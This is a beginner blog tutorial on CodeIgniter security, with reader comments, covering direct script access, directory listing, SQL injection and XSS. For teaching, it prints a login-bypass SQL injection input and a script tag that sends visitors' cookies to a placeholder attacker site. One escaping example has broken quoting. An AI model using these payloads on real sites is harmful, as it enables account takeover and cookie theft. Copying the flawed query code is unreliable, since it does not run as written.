Getting Started With CodeIgniter: Part 4 - Security
One of the major reasons why PHP frameworks benefit us has to do with the inexperienced (or even average) developer's lack of security knowledge. PHP (especially database driven PHP) is riddled with loopholes and opportunities to a malicious user to get the best of you, unless you know what you're doing.
Luckily, CodeIgniter handles a lot of these concerns for you, and gives you the tools to handle the rest. In this section of the CI tutorial, we'll take a look at many common security threats, including how CI handles them and what you need to do to make sure your CI driven web apps aren't being threatened by them.
Direct Scripting
A pretty common threat to security involves a malicious either navigating directly to your PHP page (by typing in "blahblahblah.com/system/application/controllers/something.php") or making a script to do that. If this is done, the user has been granted access to your application directory which is where the juice of your web app is stored. This is dangerous, because it means he has bypassed anything you put in place before that page is meant to be reached. For example, if he can reach a model which contains database functions, he could run a deleteBlog() function for i=1 to 100000, effectively deleting your whole blog database.
CI handles this one pretty gracefully. It requires that every request to your site be routed through the index.php page at the web root. EVERYTHING. When you download a fresh CI package, and check out the default controller (welcome.php), notice how it says something like this at the top of the page:
One of the things which the base index.php does is defines a BASEPATH before routing to whatever page is to be displayed. If that BASEPATH is not defined, CI knows that the request did not go through index.php, which must mean somebody is up to some direct scripting non-goodness. So it will stop the execution of that page and stick the message there for all the evil people to see.
You need to stick that line of code at the very beginning of EVERY controller, model, view, library, hook, etc. that you create in CodeIgniter. That way, each of those files are protected against direct scripting.
NOTE: Often malicious users will try and cause an error message because some sites leave error reporting to a level at which it will output the path to the error. This would notify the user that you were using CI because he might recognize the system->application->controller folder structure. Therefore, when your site goes live, change error_reporting to "0" in index.php to prevent this.
ANOTHER NOTE: A popular alternative to the BASEPATH method is to move the entire system folder out of the web root. For example, all of my web content on my host is in the public_html folder. I could move my system folder out of that folder so that it would be a sibling to public_html rather than a child. Then, I would update index.php to tell it where to look for the system folder (this is easily done, just read the comments in index.php). The benefit of this is that it is impossible for anyone to direct script to your goods because they aren't even located on your web directory. The only way anyone could reach them is if their script was running on your own server (which is how index.php is able to reach them). This is a really slick method and I like it alot. Check it out.
Directory Access
Most web applications store important stuff in directories, stuff like music, videos, pictures, or anything else that is copyrighted and valuable. If a user could access these directories and view their contents, those valuable things would be as good as his.
This is a pretty easy fix. CodeIgniter just sticks an index.html file in there with a 403 Forbidden message. So basically, if you have an "img" folder (and have added CI's index.html file to that folder), and somebody navigates their browser to that folder, they'll get a big fat DENIED message, because we all know that index files are loaded by default when a directory is opened. If you haven't added CI's index.html, the directory will be easily viewable/downloaded/sold on ebay.
CI has already included index.html in all of the folders there by default, such as your controllers and models, so you only have to worry about adding it to any image, css, js, or other folders which you add manually.
SQL Injection
NOTE: Normally, we would use CI's Active Record (as talked about in part three of this tutorial) for DB queries, but I'm going to handwrite them here for the sake of better understanding the nature of SQL injection.
Now we're getting to the big boys. SQL injection is one of the sneakiest and most powerful security threats around, and any true l33t h4x0r can tell you all about it. Here's an example. Say that you've got a login form to the administration section of your site, with a username input and a password input. After submission, your SQL looks something like this:
-
"SELECT * FROM users WHERE username = '".$_POST['username']."' AND password = '".$_POST['password']."'"
Normally, this will end up looking like this:
-
"SELECT * FROM users WHERE username = 'MikeyC' AND password = 'BallerStatus123'"
So how can this be screwed around with? Say a malicious user entered something like admin'; -- , meaning the new SQL looks like:
-
SELECT * FROM users WHERE username = 'admin' --' AND password = 'hahagotyou'
That's actually completely valid, because a "--" in SQL means the start of a comment, so anything after that gets trimmed off, leaving only:
-
SELECT * FROM users WHERE username = 'admin'
As long as the user is able to pick the right username, he has access (and a huge about of administrative usernames are just "admin" or "Admin"). So what can we do to help this? Just escape the entered strings. This will also solve the problem or the user entering something like "O'Bryan", which would normally cause a SQL error.
CI has its own functions for this. One is the simple $this->db->escape($string) function, which can be inserted directly into the SQL statement as follows:
-
"SELECT * FROM users WHERE username = '".$this->db->escape($username)." AND password = ".$this->db->escape($password)"
That pretty much solves that one. CI also includes another way of doing the same thing, using question marks in place of variables. Check this out:
-
$query = $this->db->query("SELECT * FROM users WHERE username = ? AND password = ?", array($this->input->post('username'), $this->input->post('password')));
As you can see, the query() function has a little known optional second parameter of an array of variables to stick into the SQL. CI will automatically escape those variables for you so you don't have to worry about the escape() function. Plus, it's nice and readable. I like it!
Cross Site Scripting (XSS)
Here's another big papa of PHP security threats. XSS is a threat to any web page which involes user generated content (which is basically all of web 2.0). Basically, it involves a user entering some some script (usually javascript) into a comment box or forum post or wiki page or whatever else you can think of. This javascript can then do whatever the malicious user wants it to. For example, a user could post on a forum a small bit of JS which would redirect any viewer of that page to a competitor's forum. Or a user could include the following bit of code to a blog comment:
-
<script>document.location='http://www.someevilsite.com/cgi-bin/cookie.cgi?' +document.cookie</script>
That would take the contents of a viewer's cookie (which often contains the login information to the site the script is on) and post them to another site, where they may be stolen and logged. See what I mean? This is tough stuff. There are really endless opportunties for hackers to screw you up with cross site scripting.
CI is all over this one. The input class (which is automatically loaded so you don't have to autoload it yourself) includes the function xss_clean() which will automatically remove any XSS threats from a string. You can manually do this to anything you want (usually something from $this->input->post()), or you can tell CI to automatically do it anytime anything is input form the user. To do it globally, open up config.php and set $config['global_xss_filtering'] = TRUE;. I like to do it globally because I can't notice a slowdown and it gives me peace of mind.
Well that's about it for CI and PHP security. Hopefully you learned a few things and even if you don't use CI, you will be mindful of these things in your future web apps. There's nothing worse than creating the perfect site only to have it hacked. So watch it. And remember, CI loves you!











June 28th, 2008 at 3:19 pm
Ah! I made it to the 4th part. Looks like I’ll end up reading all the tutorials in your blog now.
July 3rd, 2008 at 11:11 am
Good post. I have a question. The xss filtering ads “[removed]” to filtered text. What IF I I’m writing a piece of code to my blog post? I want that piece of code to appear as it is. What should I do?
July 3rd, 2008 at 12:36 pm
@amitava
First of all, there’s no reason why you should be using XSS filtering on your own blog posts, because it’s pretty unlikely that you will be injecting security threats into your own site :).
However, in the case that you want global xss filtering to be true, which means that CI will automatically check your blog posts, you’ll need to make your code look like code without actually being code. Usually, blog writers use HTML symbols like > ; or < ; (remove the spaces before the semicolons) to be “< " and ">“. That way you can make a script tag that won’t operate like a regular script tag, but it still looks like one to a reader. Therefore, CI will ignore it.
Thanks for reading!
October 6th, 2008 at 8:07 am
Instead of all the index.html htaccess files, save yourself some time and clutter by just turning off indexing in httpd.conf (your apache config file) by inserting a hyphen ‘-’ in your root website directory i.e.
Options -Indexes Includes FollowSymLinks MultiViews … then if you need to, allow it in specific directories with additional directory statements:
Options Indexes Includes FollowSymLinks MultiViews
October 6th, 2008 at 9:24 am
@justmeol
Nice! I like it. I’ll keep the index.html bit in there for people who aren’t allowed access to httpd.conf on shared hosting or whatnot. But that’s an awesome tip!
October 24th, 2008 at 2:23 am
Hi there!
Great work on the tutorial!
However, I noticed this line:
if (!defined(’BASEPATH’) || !defined(’BANANAS’)) exit(’No direct script access allowed’);
I’m quite new to PHP and CI but I think, instead of using OR/|| for the condition, you must have used AND/&& since if using OR/||, the code below still holds true:
I do hope I’m making sense…
More power to you!
October 24th, 2008 at 4:38 pm
@allen
I think you’re looking at that line the wrong way. What we’re saying is “If either of these things are NOT defined, then exit the script.” So that’s why it’s OR. Hope that helps! Thanks for reading.
October 25th, 2008 at 4:20 am
Hi, Mike.
Oh yeah! I got it. Got confused with the NOT… Sorry about that.
I hope you post more CI tutorials. This tutorial of yours have fastpaced my learning in CI.
November 2nd, 2008 at 3:21 pm
First, I just want to say thank you for these very nice tutorials.
I’m beginner with CodeIgniter, tho, I’m web developer for 5 years.
Anyways, these tutorials explained a lot.
Also, I want to make notice, just like you said that when persons starts developing with MVC concept, won’t be able to imagine anything else.
Thanks again and I can’t wait for new tutorials.
Wops, I forgot one more thing to ask:
CodeIgniter or Zend Framework? I think that ZF is really hard to use, especially as the beginner in MVC developing.
(Sorry for my bad English)
November 2nd, 2008 at 6:05 pm
@Blazeme
I haven’t spent very much time with Zend Framework, just a little testing back when I was trying to decide on a framework (and I obviously ended up choosing CodeIgniter). I did note it’s rather steep learning curve (which isn’t necessarily a bad thing, if it pays off once you know what you’re doing, as many would say is the case with Rails).
CodeIgniter is especially well suited for a beginner at MVC, just because it was rather flexible and very stripped down, at least compared to other frameworks. However, I’ve found that any MVC framework isn’t too tough to learn once you understand the basics of MVC. So try not to let a steep learning curve be a deal breaker for you. I’d say learn CI first, to get the basics, and then shop around with CakePHP, Zend, Symfony, Seagull (another interesting one), etc. After all, it all comes down to personal preference, so make sure you didn’t get stuck with a compromise just because it was easier to learn.
December 12th, 2008 at 2:22 pm
I noticed our statment about this code being a problem :
When including a remote file, there is a request made to the remote to serve up the file, so it can be included. When this request is made (on the remote server), BASEPATH is not known on the remote server, but only on the orginal(bad guy) server. I first thought you were making a joke…
To make your own server serve up something that has the BASEPATH check, you will need to first somehow inject PHP code that defines BASEPATH before the check. As far as I know that would be quite the trick.
December 12th, 2008 at 10:49 pm
@Jakob
You’re basically right, but there’s always an off chance that the file extension will change, or the PHP install will go down momentarily (say, during an upgrade), stuff like that. Plus, the point here is to hammer the point home to new PHP developers that we need to be more careful (paranoid) about this stuff!
December 23rd, 2008 at 5:20 am
@Mike
Even if the extension should change or PHP would be upgraded, then the PHP source would be delivered out by the webserver and the code might be interpreted on the requesting server. But never ever could you break into the remote server by defining a constant before a remote include, since the code would never be ececuted on the remote system.
Anyway: good tutorial, I liked it and now like CI!
Matthias
December 23rd, 2008 at 10:13 am
@Matthias
You’re right. I don’t know what I was thinking, but thanks a lot for setting me straight. I took it out of the tutorial. Have fun with CI! Be sure to check out Kohana as well. It’s a fork of CI that has been getting a lot of good press lately.